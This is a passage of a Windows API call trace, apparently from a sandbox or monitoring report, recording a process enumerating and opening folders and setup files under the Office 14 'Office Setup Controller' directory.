ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.928] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0050.928] GetLastError () returned 0x12 [0050.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7238) returned 1 [0050.928] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0050.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7130) returned 1 [0050.928] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0050.928] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0050.928] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1 [0050.928] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.en-us", cAlternateFileName="")) returned 1 [0050.928] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0050.928] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0052.261] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0052.262] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0052.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0052.269] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0052.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0052.273] NtClose (Handle=0x168) returned 0x0 [0052.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0052.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0052.275] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0052.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.336] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7130 [0052.353] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0052.598] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.599] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="")) returned 1 [0052.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7238 [0052.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0052.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5c18 [0052.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e94d0 [0052.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.600] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0052.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5c38 [0052.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e95d8 [0052.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.601] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0052.601] GetLastError () returned 0x12 [0052.601] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0052.603] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0052.605] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.605] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="")) returned 1 [0052.605] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0052.605] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0052.605] GetLastError () returned 0x12 [0052.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7130) returned 1 [0052.605] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0052.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7238) returned 1 [0052.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0052.607] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0052.607] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0052.608] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="")) returned 1 [0052.608] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint.en-us", cAlternateFileName="")) returned 1 [0052.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0052.608] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0052.640] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0052.640] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0052.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0052.640] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0052.640] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0052.640] NtClose (Handle=0x164) returned 0x0 [0052.640] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0052.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0052.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0052.640] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.640] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7238 [0052.640] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0052.640] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.640] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="")) returned 1 [0052.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.641] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.641] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7130 [0052.641] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0052.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5c58 [0052.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e96e0 [0052.641] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.641] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0052.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.641] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.641] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5c78 [0052.641] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e97e8 [0052.641] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.641] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0052.641] GetLastError () returned 0x12 [0052.641] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0052.641] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0052.641] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.641] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="")) returned 1 [0052.641] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0052.642] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0052.642] GetLastError () returned 0x12 [0052.642] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7238) returned 1 [0052.642] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0052.642] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7130) returned 1 [0052.642] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0052.642] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJPROR", cAlternateFileName="")) returned 1 [0052.642] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0052.642] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0052.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0052.675] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0052.675] RtlAllocateHeap (HeapHandle=0x940000, 